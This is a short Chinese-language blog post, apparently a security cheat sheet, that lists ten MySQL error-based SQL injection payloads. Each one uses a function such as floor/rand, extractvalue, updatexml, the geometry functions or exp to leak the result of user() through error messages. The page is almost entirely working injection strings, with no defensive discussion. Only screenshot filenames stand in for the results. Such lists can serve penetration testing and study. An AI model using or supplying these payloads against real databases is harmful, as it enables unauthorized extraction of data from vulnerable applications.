MENU

十种MySQL报错注入

September 28, 2016 • Security

1.floor()

select * from test where id=1 and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a);

1016026-20160928204840594-1429421338.png

2.extractvalue()

select * from test where id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e)));

1016026-20160928205451969-1920882857.png

3.updatexml()

select * from test where id=1 and (updatexml(1,concat(0x7e,(select user()),0x7e),1));

1016026-20160928205451969-1920882857 (1).png

4.geometrycollection()

select * from test where id=1 and geometrycollection((select * from(select * from(select user())a)b));

1016026-20160928205719485-521701933.png

5.multipoint()

select * from test where id=1 and multipoint((select * from(select * from(select user())a)b));

1016026-20160928205942266-563740245.png

6.polygon()

select * from test where id=1 and polygon((select * from(select * from(select user())a)b));

1016026-20160928205828281-760176387.png

7.multipolygon()

select * from test where id=1 and multipolygon((select * from(select * from(select user())a)b));

1016026-20160928210038094-1420034123.png

8.linestring()

select * from test where id=1 and linestring((select * from(select * from(select user())a)b));

1016026-20160928210144438-1099086559.png

9.multilinestring()

select * from test where id=1 and multilinestring((select * from(select * from(select user())a)b));

1016026-20160928210420750-344279412.png

10.exp()

select * from test where id=1 and exp(~(select * from(select user())a));

1016026-20160928210533313-2028104812.png

Archives QR Code
QR Code for this page
Tipping QR Code